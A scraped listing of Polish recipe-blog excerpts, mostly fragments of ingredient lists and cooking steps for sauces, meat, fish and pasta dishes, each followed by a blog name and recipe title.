piersi z kurczaka opakowanie 70 g szynki dojrzewającej 1/2 cytryny 1 duży ząbek czosnku polskiego marchewka korzeń pietruszki seler biała część pora pieprz posiekana papryczka chilli Składniki na sos - używamy blendera: papryczka żółta chilli marynowana papryczka pepperoni garść listków bazylii 1 szalotka 1/2 pęczka szczypiorku 1 ząbek czosnku sok z 1/2 cytryny 400 ml jogurtu naturalnego typu greckiego pieprz Składniki

ClauditteMissCooking
Spaghetti jak z bajki "Zakochany Kundel" 153

łyżka wędzonej papryki utarty ser dojrzewający kolumb pieprz Przygotowanie: Wszystkie składniki mieszamy razem. Formujemy na male kotleciki. Obtaczamy z płatkach owsianych uprzednio zmiksowanych. Smażymy na oliwie. Składniki na sos: 3 puszki całych pomidorów bez skórki 1 duża cebula- drobno posiekana posiekany drobno pęczek szczypiorki 2 ząbki czosnku- przeciśnięte przez praskę garść zielonych oliwek garść czarnych oliwek 3 łyżki octu balsamicznego

ClauditteMissCooking
Piracka zupa z tuńczykiem 160

Składniki: 2 cebule 6 ząbków czosnku 1 papryka żółta 1 papryka zielona 2 puszki tuńczyka w sosie własnym pęczek natki pietruszki 500 g pieczarek 2 garści szpinaku 2 szklanki oliwek zielonych oliwa z oliwek ryż 1 litr soku z pomidorów z tabasco szczypta pieprzu, suszonych ziarenek chilli i majeranku Na rozgrzaną patelnię wlewamy odrobinę oliwy. Dodajemy posiekaną cebulę. Gdy się

ClauditteMissCooking
Polska specjalność- klopsiki z kaszą | Wielki test !!! Aż 7 obiadów za 100zł. "Moje Smaki Życia" 203

gotowe dodajemy je na patelnię do warzyw. Smażymy chwilkę mieszamy i przekładamy wszystko do brytfanny. Pieczemy około 30 minut. W połowie pieczenia dodajemy ser :) Podajemy z mixem sałat i sosem (jogurt, oliwa i natka pietruszki) 1 porcja dania to około 522 kalorie. Smacznego

ClauditteMissCooking
Azjatyckie słodko-kwaśne surimi | Wielki test !!! Aż 7 obiadów za 100zł. "Moje Smaki Życia" 220

średnim ogniu. Przecier przelewamy do miski, dodajemy do niego zalewę z ananasa, sok z cytryny, posiekany czosnek i mieloną paprykę. gdy warzywa na patelni zmiękną dodajemy do nich sos. Mieszamy i pod przykryciem na małym ogniu dusimy jakieś 20 minut. GOTOWE

ClauditteMissCooking
Fruit pizza with summer fruit 132

potrawa kuchni włoskiej, obecnie szeroko rozpowszechniona na całym świecie. W wersji podstawowej jest to płaski placek z wytrawnego ciasta makaronowego, znacznie później zaczęto także używać ciasta drożdżowego (focaccia), posmarowany sosem pomidorowym, posypany tartym serem mozzarella i ziołami, pieczony w bardzo mocno nagrzanym piecu. Pizzę podaje się na gorąco, lecz rozpowszechnione jest jedzenie jej również na zimno. Źródło http://pl.wikipedia.org

ClauditteMissCooking
Greczynka i Japonka zgrana para 179

takich kubkach zwykle mają je na lodówkach) 1 słoiczek z suszonymi pomidorami garść natki pietruszki pęczek posiekanej szalotki świeże oregano świeżo mielony pieprz 1 czerwona papryka ser feta Sos do sałatki: oliwa, ocet i musztarda Piersi marynujemy w gotowej marynacie Vitasia (marynata sojowa z imbirem i czosnkiem) i grillujemy

ClauditteMissCooking
Piersi z kurczaka po Meksykańsku 206

Składniki: 4 piersi z kurczaka 1 puszka czerwonej fasoli z kukurydzą w sosie pomidorowym 1 natka pietruszki 1 główka czosnku 2 łyżki suszonej papryki 3 łyżki oliwy 2 duże cebule 1 ogórek przyprawy: garam masala, świeżo zmielony pieprz, szczypta soli, majeranek 1 duża czerwona papryka zielone i czarne oliwki 1/4 kostki sera feta Przygotowanie: Piersi z kurczaka myjemy i oczyszczamy

ClauditteMissCooking
Piersi w marynacie egzotyczno europejskiej wypełnione serem 140

Składniki na marynatę: 1/2 słoiczka musztardy francuskiej 100 g zielonej pasty curry 3 łyżki sosu tajskiego słodko-pikantnego  Składniki: 1 kg piersi z  kurczaka płatki owsiane ser żółty Przygotowanie: Piersi dzielimy na pół tak aby otrzymać dwa cienkie filety. Filety zalewamy marynatą i odstawiamy na noc do lodówki. następnego dnia smażymy je na patelni wyłożonej papierem do pieczenia

ClauditteMissCooking
Makaron z tuńczykiem 167

Składniki: makaron puszka tuńczyka w sosie własnym orzechy włoskie siemię lniane suszone pomidory z czosnkiem

ClauditteMissCooking
Pizza z książki - ABC Sztuki Kulinarnej- Paulina Fedak 157

ciasto do Pizzy ABC Sztuki Kulinarnej- Paulina Fedak 2 szklanki mąki, 20 g drożdży, 3/4 szklanki letniej wody, łyżka oleju, sól, szczypta cukru Ciasto przygotował mi mój tato. Dodatki: sos pomidorowy z bazylią ( z przetartych pomidorów) pieczarki czarne oliwki szynka ser czerwona cebula Zdjęcia gotowej pizzy brak :) Nie było już warunków technicznych do jego zrobienia

ClauditteMissCooking
Gulasz z Jelenia 217

grzyby. Całość lekko przemieszać. Zamknąć pokrywę i ustawić opcję STEW i czas 2 godziny. Na sam koniec gdy gulasz lekko przestygł dodałam do niego jogurt naturalny by zabielić sos. Oczywiście danie można zrobić bez tego urządzenia. Najpierw podsmażyć mięso na patelni z tymi wymienionymi składnikami. A potem przerzucić do głębokiej patelni z szczelnym zamknięciem pokrywki. Jednak wtedy czas duszenia

ClauditteMissCooking
Indyk Tikka Masala 175

Marynata: 3 łyżki oliwy z oliwek 1 łyżeczka kurkumy 1 łyżeczka kardamonu 1 łyżeczka gałki muszkatołowej Pozostałe składniki: 1 łyżka masła 1 owoc kaki- pokroić w kostkę 350 g sosu tikka masala - więcej info tutaj KLIK KLIK produkt dostępny w Tesco 1 cebula - posiekana 4 ząbki czosnku- drobno posiekane 3 liście laurowe 10 orzechów włoskich 8 goździków 6 papryczek chilli

ClauditteMissCooking
Tajska zupa TOM YUM 156

SKŁADNIKI: 1 l wody 2 saszetki pasty do zupy tom yum 1 łyżka sosu sojowo- grzybowego TAO TAO 500 g mieszanki owoców morza (swoją kupiłam we Wrocławiu w Magnolii "Kuchnie Świata" 1 kg za 33 zł) 3 marchewki (pokroić w słupki) 1 kawałek selera (1/6 selera w całości) 1 korzeń pietruszki (w całości) natka pietruszki (posiekać) 3 ząbki czosnku (posiekać

ClauditteMissCooking
Nadziewane zrazy z mięsa mielonego 248

zimną wodą. Wyjmujemy mięso z gotującego się wywaru. Do wywaru wlewamy mieszankę mąki i śmietany, mieszamy, ponownie wkładamy mięso. Doprawiamy solą i pieprzem, podgrzewamy do momentu, aż się sos zagotuje. Smacznego

Kuchnia domowa Ani
PIECZONY DORSZ W ZIOŁACH 202

upodobań. 5. Ziemniaki wstaw do nagrzanego pieca (220 stopni C) na 40 minut. Po upływie tego czasu włóż rybę i piecz 20 minut razem.  6. Wyjmij i zjedz ;-) Sosem z ryby polej ziemniaczki, rybę skrop sokiem z cytryny! Smacznego

SMYKWKUCHNI
SAŁATKA SZPINAKOWA Z OLIWKAMI, ANANASEM I OSCYPKIEM. 285

Kremowa sałatka włoska ze śledziem na łódeczkach pomidorowych (DB) 5. SAŁATKA Z TUŃCZYKIEM, POREM, CZERWONYM RYŻEM, CZARNYM SEZAMEM, ZIARNAMI I... 6. Sałatka Jarzynowa 7. Sałatka Fasolowa 8. Sos tatarski mocno grzybowy 9. Sałatka 3 sałaty - świeża, z bukietem sałat i serkiem, - Aby nic, a nic Wam nie umknęło: zaobserwujcie nas: tutaj i polubcie na facebooku tutaj :) :)))))))) A my idziemy kończyć

Wypisz Wymaluj
GOŁĄBKI NA DZIKO W SOSIE POMIDOROWYM 389

GOŁĄBKI NA DZIKO W SOSIE POMIDOROWYM Składniki: - 1500g biała kapusta - 500g mięsa mielonego wieprzowo-wołowego - 150g ryżu białego długoziarnistego - 200g koncentratu pomidorowego - 2 białe cebule - 2 ząbki czosnku - 3 łyżki cukru - 2 łyżki papryki czerwonej słodkiej - szczypta  pieprz czarny mielony - szczypta  majeranek - olej do smażenia - 2 kostki rosołowe z lubczykiem - szczypta oregano - 1 łyżeczka lubczyku otartego - 1 łyżka

Mentor Smaku
Jak zacząć ? 194

tego zaczynają zniechęcać.      2.  CZYSZCZENIE LODÓWKI Pozbywamy się produktów, które nie pomogą wytrwać nam w postanowieniu: słone i słodkie przekąski, dania gotowe, zupy oraz sosy w proszku, wędliny paczkowane itp. Kupujemy warzywa, owoce (głównie sezonowe), produkty zbożowe (pełnoziarniste), nabiał, chude mięsa, ryby a także zaopatrujemy się w wodę, herbaty, zioła oraz przyprawy. Pamiętajmy, że należy czytać

Życie na widelcu
Pieczone tymiankowe ziemniaczki 187

się zrumienią. Mięso przygotować jak na kotlety, podsmażyć, dodać wino ( odparować ) W osobnym rondelku podsmażyć drobno posiekaną cebulkę, przecier, sól, pieprz, paprykę słodką ja dodałam suszone pomidorki i oregano. Sosem zalać pulpety i zredukować na wolnym ogniu. Smacznego

Gaździnka warzy
Wołowina po mojemu 158

gotować na małym ogniu.Sprawdzać, mieszać i w miarę potrzeby dolewać bulion ( jak się skończy może być woda ) Nie ma potrzeby dodawać mąki czy śmietany, cebula się rozpuści, a sos się ładnie zredukuje. Smacznego   tak bo Tomulek wol ał ziemniaczki

Gaździnka warzy
Grzyby, chaczapuri i sos 148

serem i grzybami, skleić  i na patelnię na mały ogień. Smażyć po 2 min z każdej strony, aż się ładnie zarumieni. Na końcu wyłączyć gaz i przykryć pokrywką. Sos zrobić z ...... jogurt, pół łyżeczki cukru, ząbek czosnku, szczypta soli i pieprzu, parę kropel soku z cytryny - do smaku. Wymieszać, skosztować i  Smacznego I marynowane grzybki od mojej Teściowej

Gaździnka warzy
Gruszka pomarańczowo - karmelowa 138

Przygotowanie: Gruszki obrać i pokroić ( jak kto woli ). Na patelnię wsypać cukier i podgrzewać, aż się rozpuści ( na biało ) dodać masło i pomieszać. Wlać sok pomarańczowy mieszać, mieszać, zredukować sos..  Dodać gruszki i karmelizować. Często obracając i pilnując, żeby się nie przypaliły. Roztopić czekoladę w kąpieli wodnej do polania gruszek i.... Smacznego  Pysznie smakuje z kieliszeczkiem wiśnióweczki

Gaździnka warzy
Kurczak z warzywami i sosem koperkowym 260

posiekana natkę pietr uszki ) . Smażyć na rozgrzanym oleju, aż ładnie się zrumieni. Pokroić ogórka w słupki. Namoczyć papier ryżowy ciepłą wodą i układac na nim warzywa z kurczakiem, zawinąć. Sos: pół kubka jogurtu, dodać mały ząbek czosnku, sól, pieprz, parę kropel cytryny, 1/2 łyżeczki cukru, posiekany koperek i natkę, wymieszać... Podawać z ziemniakami i .... Smacznego

Gaździnka warzy
Chaczapuri z wędzonym boczkiem 182

drożdży suszonych szczypta gałki muszkatołowej, soli, pieprzu 100ml mleka ciepłego 1/2 kostki fety żółty ser kilka plasterków wędzonego boczku  1 cebula kilka plasterków szynki  kilka suszonych pomidorków Sos: gęsty jogurt naturalny ( fajny jest grecki ) mały ząbek czosnku koperek, natka pietruszki, szczypiorek ( opcjonalnie ) kilka kropel cytryny pół łyżeczki cukru sól, pieprz do smaku Przygotowanie: Boczek pokroić w małą kosteczkę

Gaździnka warzy
Roladki wołowe 126

kruche ). Jak zrobią się mocno brązowe zalać bulionem i gotować na małym ogniu z 20min ( przykryć ). Przełożyć do szybkowara i gotować jeszcze z 20 min. Jeśli chcemy bardziej zawiesisty sos to do bulionu dodać śmietanę lub mąkę i ........... Smacznego

Gaździnka warzy
Pstrąg 194

Składniki: pstrąg masło pietruszka sok z cytryny sól, pieprz olej do smażenia sałata pekińska   Sos do sałaty: szczypta cukru 2 łyżki oleju ząbek czosnku sól do smaku kilka kropel cytryny Przygotowanie: Pstrąga umyć, osuszyć. Do środka włożyć płaski plasterek masła z posiekaną pietruszką. Doprawić do smaku. Smażyć rybę od zimnego oleju ( nie przyklei się do patelni ). Z obu stron

Gaździnka warzy
Lody jogurtowe z melonowym sosem 137

Wstawić do zamrażarki. Melona obrać ze skórki, wydrążyć z pestek, pokroić i zmiksować. Można dodać kilka kropel soku z cytryny jeśli melon jest bardzo słodki. Zamrożone lody położyć na sosie z melona i........................... Smacznego

Gaździnka warzy
Koko z warzywami 360

pół główki nie dużej kapusty 3 marchewki brokuł 200 g żółtego sera 150 ml śmietanki 50 ml mleka 2 jajka 3 ząbki czosnku 50 ml białego wina sól, pieprz sos sojowy szczypta imbiru, tymianku papryka słodka, ostra ciasto francuskie Przygotowanie: Kapustę poszatkować, marchewkę zetrzeć na dużych oczkach, pora pokroić w ćwiartki, żółty ser zetrzeć na dużych oczkach. Różyczki brokuła wrzucić

Gaździnka warzy
Pierożki z Ricottą i szpinakiem w serowym sosie 176

dodać do niej fetę i zagotować do pierwszych bąbelków na wolnym ogniu ( feta się rozpuści ). Można złamać smak i popieprzyć świeżo zmielonym pieprzem. Pierożki posypać posiekanym szczypiorkiem i polać sosem.............................. Smacznego

Gaździnka warzy
Kotleciki z Soli w koperkowym sosie 201

Składniki: 500g fileta z Soli por pęczek pietruszki fasolka szparagowa sól, pieprz do smaku sok z cytryny jajko Sos: jogurt grecki sól, pieprz ząbek czosnku koperek świeży troszkę cukru Surówka: kapusta kiszona marchewka cebula sol, pieprz 3 łyżki oleju Przygotowanie: W misce wymieszać posiekaną pietruszkę, pora, zmiksowaną rybę. Doprawić do smaku solą, pieprzem i skropić sokiem z cytryny. Fasolkę ugotować

Gaździnka warzy
Burgery z Dorsza 146

tartą, doprawić do smaku.  Na patelni rozgrzać olej i smażyć burgery z każdej strony do uzyskania złocistego koloru.  Posypać fetą i szczypiorkiem, równie pysznie będzie polać je sosem i...................... Smacznego

Gaździnka warzy
Morszczuk z ogórkiem 129

rozgrzaną patelnię wlać wino, redukować na wolnym ogniu chwilę, aby alkohol wyparował. Dolać do niego bulion i chwilę redukować. Na koniec dodać śmietanę, zagotować. Wsypać posiekany koperek, włożyć do sosu rybę, ogórka. Delikatnie wszystko wymieszać ( doprawić jeśli potrzeba ). Podawać z pieczywem lub pieczonymi ziemniakami.............. Smacznego

Gaździnka warzy
Gruszka z Sherry 140

Żółtka zmi ksow ać z cukrem pudrem i podgrzać w kąpieli wodnej, jednocześnie ubijając cały czas trzepaczką. Na końcu wlać Sherry. Gruszki wyjąć łyżką cedzakową  do salaterek, polać sosem , udekorować kiwi i startą gorzką czekoladą...... Smacznego

Gaździnka warzy
Spaghetti z mięsem i selerem naciowym 149

Ricottą i dodać do mięsa ( w razie potrzeby doprawić ) . Dobrze wszystko połączyć i na koniec dodać pastę paprykową. Makaron ugotować według przepisu na opakowaniu. Odcedzić, wymieszać z e sosem, posypać szczypiorkiem i Go rgonzolą...... Smacznego

Gaździnka warzy
Kurczak cytrynowo tymiankowy 178

razie potrzeby doprawić jes zcz e raz. Kiedy por zmięknie skropić wszystko kilkoma kroplami cytryny, wymieszać , wyłączyć ogień.       Kurczaka podałam na sałacie lodowej z sosem..... Pół kubka jogurtu wymieszałam z solą, piepr zem, kilkoma kroplami cytryn y , zmiażdżonym czosnkiem , a na koniec dodałam pół łyżeczki cukru.... Smacznego

Gaździnka warzy
Wstążki z boczkiem i zielinym groszkiem w sosie z gorgonzoli 169

śmietaną ( na gładką masę ) dodać do boczku. Makaron ugotować według przepisu na opakowaniu.  Jeśli śmietana za bardzo zgęstnieje dodać kilka łyżek wody s pod makaronu. Sos wymieszać z makaronem, nalać sobie kieliszek wina i......    Smacznego

Gaździnka warzy
Krewetki na sałacie z Awokado 160

obracają c. Na końcu wmieszać natkę i skropić sokiem z cytryny ( do smaku ). Awokado obrać pokroić , uło żyć na talerzu razem z sała tą, skropić ulubionym sosem , położyć na nią krewetki i..... Smacznego

Gaździnka warzy
Duszona wołowina 154

godz , do miękkości. Jeśli będzie potrzeba to w międzyczasie dolać odrobinę wody lub przyprawić do smaku. Miękkie mięso wyciągnąć i po kilku minutach jak odpoczn ie pokroić . Sos zmiksować polać nim mięso i...... Smacznego

Gaździnka warzy
Pstrąg w sosie winnym z zieloną natką 125

smażyć , a ż alkohol odpar uje i dolać bulion. Trzy mać na ogniu do 5 min. Mięso pstrąga będzie już białe ( gotowe ) . Zdjąć go na tale rz yk, a sos zmiksować na gł adko. Przeło żyć znów wszystko na pate l nię , dodać drobno posiekaną pietruszkę, del ikatnie wymieszać. Podawać z ryżem lub świe żym pieczywem.... Smacznego

Gaździnka warzy
Karczek z grila 195

Składniki: 630g karczku bez kości łyżka miodu łyżka musztardy z ziarenkami gorczycy sól, pieprz, tymianek, rozmaryn chilli, sos sojowy 3 łyżki oliwy pó ł łyżeczki cząbru 3 ząbki czosnku (przecisnąć przez praskę) Bracki e do podlani a Przygotowanie: Mięso pokroić , lekko wyklepać i przyprawić. Wło żyć do lodówki na noc. Przełożyć na tackę do grillowani a, dodać pokrojoną cebulę, podlać

Gaździnka warzy
Kurczak z fasolką i suszonymi pomidorami 237

kurczaka 2 ząbki czosnku 150 g pora 80 g suszonych pomidorów kilka kaparów pół pęczka natki pietruszki 200 g zielonej fasolki sól, pieprz, imbir, papryka słodka, tymianek kilka kropel sosu sojowego kilka kropel cytryny Przygotowanie: Fasolkę wrzucić do osolonego wrzątku, gotować 4 min (niech będzie chrupka) odcedzić i zahartować zimną wodą. Mięso umyć, osuszyć pokroić na kawałki i przyprawić

Gaździnka warzy
Faszerowana cebula 169

Składniki: 100 g mielonej łopatki 6 większych cebul  kilka pieczarek kilka suszonych pomidorów ser feta 2 łyżki masła szklanka bulionu warzywnego łyżka oleju sól, pieprz, imbir, tymianek łyżka sosu sojowego ząbek czosnku Przygotowanie: Cebulę obrać, włożyć do garnka z solą i masłem. Gotować do miękkości (tak, aby się nie rozgotowała). Mięso z grzybami i pomidorami podsmażyć na łyżce oleju

Gaździnka warzy
Faszerowane pieczarki 175

drobno pokrojoną papryką, pomidorami i ugotowaną - ostudzoną fasolką.  Przyprawić, dodać posiekany szczypiorek i nadziać pieczarki.  Grillować w 180st C ok 10 min. Ja podałam na sałacie z sosem winegret i oczywiście lampką białego winka :-) ............... Smacznego

Gaździnka warzy
Kolacja z krewetkami 182

krewetki dodać do woka i trzymać ze dwie - trzy minuty, przemieszać, skopić sokiem z cytryny, posolić do smaku.  Dosypać natki i ............................. Smacznego ja podałam z sałatą lodową w sosie vinegrette...... i wineczko, które dostałam od koleżanki:-) smaczniusio

Gaździnka warzy
Kurczak w pomarańczowo - serowym sosie 252

godz.  Na rozgrzanej patelni z odrobiną oleju podsmażyć drobno posiekaną cebulę z listkami laurowymi.  Marynatę z kurczakiem przelać na patelnię i trzymać na ogniu, aż sos zgęstnieje. Po wyłączeniu ognia wmieszać posiekaną natkę i...... Smacznego

Gaździnka warzy
Pieczone buraki z czosnkiem 162

dodać do buraków. Szczelnie zawinąć w sreberko i włożyć do pieca na 30 min nagrzanego do 180 st C. Dobrze smakują z pieczoną rybą i sałatą pekińską polaną sosem winegret..... Smacznego

Gaździnka warzy
Kurczak w jogurtowym sosie z migdałami 205

Uwielbiam gotować na winie, oczywiście mój czołgista śmieje się ze mnie, że raczej co się nawinie :-) Łobuz !! Tym razem do sosu dodałam piweczko i jogurt :-) a zapach goździków w całym domu... bezcenny :-) Składniki: 250 g piersi kurczaka 1 cebula pęczek natki pietruszki 2-3 goździki (opcjonalnie) kilka pieczarek 2 spore łyżki naturalnego jogurtu szczypta kardamonu, imbiru sól, pieprz, chilli

Gaździnka warzy
Bakłażan ze śliwkami i kaszą 158

Składniki: 100 g kaszy jaglanej 1 cebula pół czerwonej papryki średni bakłażan groszek (opcjonalnie) 2 ząbki czosnku łyżka śmietany bulion warzywny sól, pieprz, kilka kropel sosu sojowego szczypta ziół prowansalskich i oregano 1-2 śliwki węgierki Przygotowanie: Kaszę ugotować według przepisu na opakowaniu. Warzywa pokroić w kostkę lub paski. Na łyżce lub dwóch oleju, wszystkie razem podsmażyć. Przyprawić do smaku

Gaździnka warzy
Kluski z białym serem i szpinakiem 272

Składniki: ziemniaki mąka ziemniaczana kilka ziarenek kminku czerwona cebula żółta cebula natka pietruszki 250 g białego sera 450 g mrożonego szpinaku ząbek czosnku sól, pieprz, tymianek,  kilka kropel sosu sojowego (opcjonalnie) Przygotowanie: Ziemniaki ugotować w osolonej wodzie z kminkiem. Odcedzić, zmielić. Po wystygnięciu dodać mąkę ziemniaczaną (podzielić ziemniaki na 4 części, jedną wyciągnąć i w to miejsce wsypać mąkę

Gaździnka warzy
Mielone kotlety 292

czosnku 1 marchewka (ugotowana w rosole) 1 pietruszka (ugotowana w rosole) kawałek selera (ugotowanego w rosole) jajko 2 łyżki bułki tartej sól, pieprz oregano, zioła prowansalskie, tymianek kilka kropel sosu sojowego pół pęczka natki pietruszki Przygotowanie: Mięso zmielić, przełożyć do dużej miski. Warzywa zetrzeć na tarce, cebulę drobniutko posiekać, czosnek przecisnąć przez praskę, dodać do mięsa.  Wbić jajko, wsypać

Gaździnka warzy
Kotlety ziemniaczane z ogórkowym sosem 336

posypać łyżką mąki. Zasmażkę rozprowadzić wodą, a następnie dodać do niej starte na dużych oczkach ogórki. Wymieszać, doprawić solą, pieprzem i zabielić śmietaną. Na końcu wsypać posiekany szczypiorek (jeśli sos wydaje się za kwaśny, wtedy trzeba wsypać 1-2 łyżeczki cukru).. Smacznego

Gaździnka warzy
Pieczone żeberka wieprzowe 282

Składniki: 1 kg żeberek kilka ząbków czosnku 2 większe cebule łyżeczka miodu kilka kropel sosu sojowego szczypta tymianku, lubczyku, rozmarynu kilka kropel cytryny sól, pieprz, papryka ostra i słodka Przygotowanie: Żeberka pociąć na kawałki, polać łyżką oleju i posypać przyprawami. Dodać pokrojone cebule i zgnieciony nożem, nie obrany czosnek. Zostawić na 1-2 godz.  Piekarnik rozgrzać

Gaździnka warzy
Mielone z winnym sosem pieczarkowym 233

Składniki: 500 g łopatki żółta i czerwona cebula duży ząbek czosnku kromka chleba jajko sól, pieprz szczypta tymianku i lubczyku kilka kropel maggi sos: 20 dag pieczarek średnia cebula 2-3 łyżki masła 100 g białego wytrawnego wina pół szklanki śmietanki pół łyżeczki mąki ziemniaczanej sól do smaku kilka kropel cytryny Przygotowanie: Mięso zmielić z cebulą i kromką chleba. Dodać

Gaździnka warzy
SZYBKI NUMEREK: MAKARON Z SOSEM DYNIOWO-GRUSZKOWYM 204

łyżek śmietany, zmłotkowany pieprz, sól i wymieszać. Makaron ugotować w osolonej wodzie z kilkoma łyżkami oliwy. Odcedzić i przelać zimną wodą. Pestki z dyni uprażyć na patelni. Makaron polać sosem dyniowo-gruszkowym, posypać pestkami i jeszcze odrobiną zmłotkowanego pieprzu. Fajnie zaostrza słodki smak. Koniec. PS.: Radzimy wykorzystać klasyczny makaron #glutenfull. Nie oszukujcie się – żaden inny nie smakuje równie dobrze

GRUBY WAŁEK
Makaron z sosem pieczarkowo brokulowym 360

zaleceń na opakowaniu. Pieczarki podsmażamy na masełku. Śmietanę mieszamy z dwoma łyżkami mąki i dodajemy do pieczarek. Brok€ł podgotowujemy chwilę. Na talerz nakładamy makaron, brokuły i polewamy sosem. Na koniec posypujemy parmezanem.Smacznego

LEjDIS
Zapiekanki z pieczarkami i mozzarellą 320

pieprzem, czosnkiem i papryką.  Dusimy pod przykryciem na małym ogniu przez kwadrans, od czasu do czasu mieszając. Bułki przekrawamy wzdłuż.  Rozkładamy na nich pieczarki - wraz z wytworzonym sosem. Posypujemy tartą mozzarellą. Zapiekamy w piekarniku nagrzanym do 200 stopni (może być z termoobiegiem) przez około  10 minut. Podajmy na liściach sałaty, polewamy keczupem i posypujemy posiekanym szczypiorkiem. Pyszne

Moje Kuchenne Rewelacje
Babka advokatowo- krówkowa 261

mniejsze kawałki (np. 1 krówka na 4 części) krówki i delikatnie wmieszać do ciasta. Piec w 170 stopniach przez około 60 minut. Po wystudzeniu gotową babkę polać przygotowanym wcześniej sosem, lukrem bądź czekoladą.  Babkę można mrozić, po rozmrożeniu nadal smakuje wybornie

Krakowskie smaki Ani
Sos pieczarkowy 215

następnie dodajemy 100 ml śmietany 18 %, mieszamy. Pieczarki zestawiamy z ognia i powoli wlewamy śmietanę z mąką, energicznie mieszając. Całość wstawiamy na mały ogień  i podgrzewamy do zgęstnienia sosu

Krakowskie smaki Ani
Gołąbki inaczej 482

łyżeczki słodkiej papryki, dokładnie mieszamy. Z przygotowanej masy mięsnej formujemy spłaszczone, okrągłe gołąbki i smażymy na oleju na złoty kolor z obu stron. Przekładamy do naczynia żaroodpornego i zalewamy sosem(u mnie pomidorowy), całość dusimy w piekarniku rozgrzanym do 180 stopni przez około 1 -1.5 godziny.  Z podanego przepisu wyszło mi 13 gołąbków, wielkości dłoni

Krakowskie smaki Ani
Domowa pizza na cienkim spodzie 192

czasie, lekko je przerabiamy i wykładamy na blaszkę, za pomocą rąk rozciągamy ciasto na cała wielkość blaszki. Piec w temperaturze 240 stopni przez 20 minut. Do naszej użyliśmy sos pomidorowy który posypałam oregano, następnie ułożyliśmy kiszone ogórki, kukurydzę, ananasa, boczek,cebulę, salami  oraz szynkę i na 5 minut przed końcem posypaliśmy startym serem

Krakowskie smaki Ani
Kopytka 208

ciasta ziemniaczanego uformować ruloniki Górę ruloników delikatnie spłaszczyć i pokroić na kawałeczki (poduszeczki). Gotować w osolonej wodzie, od momentu wypłynięcia kopytek przez około 2-3 minuty. Podawać z sosem np. pieczarkowym bądź na słodko

Krakowskie smaki Ani
Zapiekane ziemniaczki- odchudzone frytki 222

pyszne, bardzo aromatyczne i idealnie chrupkie, takie jak lubimy, często do nich wracamy. Mogą stanowić dodatek do dań mięsnych a także wybornie smakują jako samodzielna przekąska podana np. z sosem czosnkowym.  Ciekawe czy i Wam posmakują?? Składniki: 1 kg ziemniaków 3 łyżki przyprawy do ziemniaków, można wymieszać swoją kompozycję ziół ale ja użyłam gotowej 4 łyżki oliwy z oliwek

Krakowskie smaki Ani
Babka ziemniaczana na sałacie 289

będą gotowe obrać je i pokroić na mniejsze kawałki, następnie widelcem je "rozbić". W szklance pomieszać oliwę z oliwek, sól, pieprz oraz koperek i dokładnie wymieszać. Sałatę, jajka oraz sos dokładnie wymieszać i gotowe;)  Smacznego

Krakowskie smaki Ani
Makaron z tuńczykiem 253

Bardzo polecam;)  Składniki: 100 gramów makaronu nitki łyżka masła 3 ząbki czosnku 2 cebule  2 łyżki majonezu  2 łyżki jogurtu naturalnego puszka tuńczyka w sosie własnym  sól do smaku  pieprz do smaku  łyżka natki pietruszki 2 plasterki sera żółtego Wykonanie: Makaron ugotować jak zawsze. Cebulę pokroić w plastry i podsmażyć na rozgrzanym maśle

Krakowskie smaki Ani
Pizza z brokułem i serem pleśniowym [PRZEPIS] 162

jedna z lepszych pizzy jakie jedliśmy. Znakomite połączenie brokułu z serem pleśniowym oraz niezwykle delikatnym sosem śmietanowo-cebulowym powoduje, że jedzenie staje się prawdziwą ucztą. Sami się o tym przekonajcie! PIZZA Z BROKUŁEM I SEREM PLEŚNIOWYM – ZOBACZ JAK JĄ ZROBIĆ: SKŁADNIKI, PRZEPIS, ZDJĘCIA Pizza z brokułem i serem pleśniowym

Jakugotujesz.pl
"Piękno w smaku" - Warsztaty QAFP 240

Polędwiczka wieprzowa z masłem, rukolą i ziemniakami truflowymi Schab sou vide na puree z zielonego groszku, z pieczonymi batatami i kruszonką z selera i ziemniaków (absolutny hit!) Karkówka w sosie śliwkowym z puree z marchwi i pomarańczy i grillowaną kukurydzą  No, to by było na tyle:) Szkoda, że tak szybko się skończyło

Słodko-Słony Świat Ilony
Śledzie z jabłkiem i cebulą w śmietanie 171

grubych oczkach i skrapiamy sokiem z cytryny. Jabłko i cebulę łączymy ze śmietaną i majonezem, dokładnie mieszamy. Doprawiamy pieprzem. Kawałki śledzia układamy na półmisku, a na nie wykładamy sos śmietanowy. Przekąska najlepiej smakuje po kilku godzinach spędzonych w lodówce. Smacznego

KasiekGotuje
Falafele z marchewką i kuminem - najlepsze! 185

smaż partiami na złoty kolor, przewracając je łyżką cedzakową, aby usmażyły się z każdej strony. Przełóż je na ręcznik papierowy, aby odsączyć z nadmiaru tłuszczu. Podawaj gorące, np. z sosem przygotowanym z jogurtu naturalnego z dodatkiem harrisy (na mały kubeczek jogurtu daję łyżkę harrisy). Możesz je też włożyć do chlebka pita w towarzystwie ulubionych warzyw. *** Podoba Ci się ten wpis

Chilli Czosnek i Oliwa
Zupa kokosowo - szpinakowa z pulpetami 284

baby 500 ml bulionu drobiowego 1 czerwone chili bez pestek  drobno pokrojone sok z limonki do smaku na pulpety 9 szt 200 g mięsa wieprzowego, mielonego 2 łyżeczki sosu sojowego 1 jajko 3 łyżeczki bułki tartej pieprz przygotowanie Szpinak opłukać, włożyć do garnka, podgrzewać aż zwiędnie, osączyć na sicie, lekko pokroić. Wszystkie składniki pulpetów przełożyć do miski wyrobić dokładnie

Stare Gary
Gulasz z ananasem i papryką. 178

kostkę 3x3 cm i oprószyć solą. Na patelni rozgrzać olej i obsmażyć mięso ze wszystkich stron wraz z pozostałą cebulą i czosnkiem. Następnie włożyć mięso do rondla z sosem. Dolać 1/2 szklanki wody i dusić na wolnym ogniu pod przykryciem aż mięso będzie miękkie. Dołożyć ananasa i dusić kolejne 10 minut. Wlać śmietanę i posypać szczypiorkiem. Wymieszać, ale już

O kuchni z uczuciem
Sałatka z rukoli z chipsem z mozzarelli i nerkowców z pomarańczową nutą. 253

ściął. Zdejmujemy go i układamy dociskając delikatnie na małej butelce, by otrzymać odpowiedni kształt. Na środku układamy jajko pokrojone na ćwiartki i przykrywamy chipsem. Całość posypujemy nerkowcami i parmezanem. Sos. Sok z pomarańczy, z której zostały nam kawałki, łyżka octu balsamicznego, łyżka oliwy i sól. Mieszamy i można polewać. Smacznie i prosto

BaRepas
Sałata feta 136

Całość szybko wymieszać w taki sposób aby nie rozwalić kawałków sera. 6. W osobnej misce wymieszać majonez, ketchup oraz mleko. Doprawić solą i pieprzem do smaku. ( Sałatę należy polać sosem tuż przed spożyciem

A Ty Smakuj Mnie
Naleśniki z pikantnym farszem 137

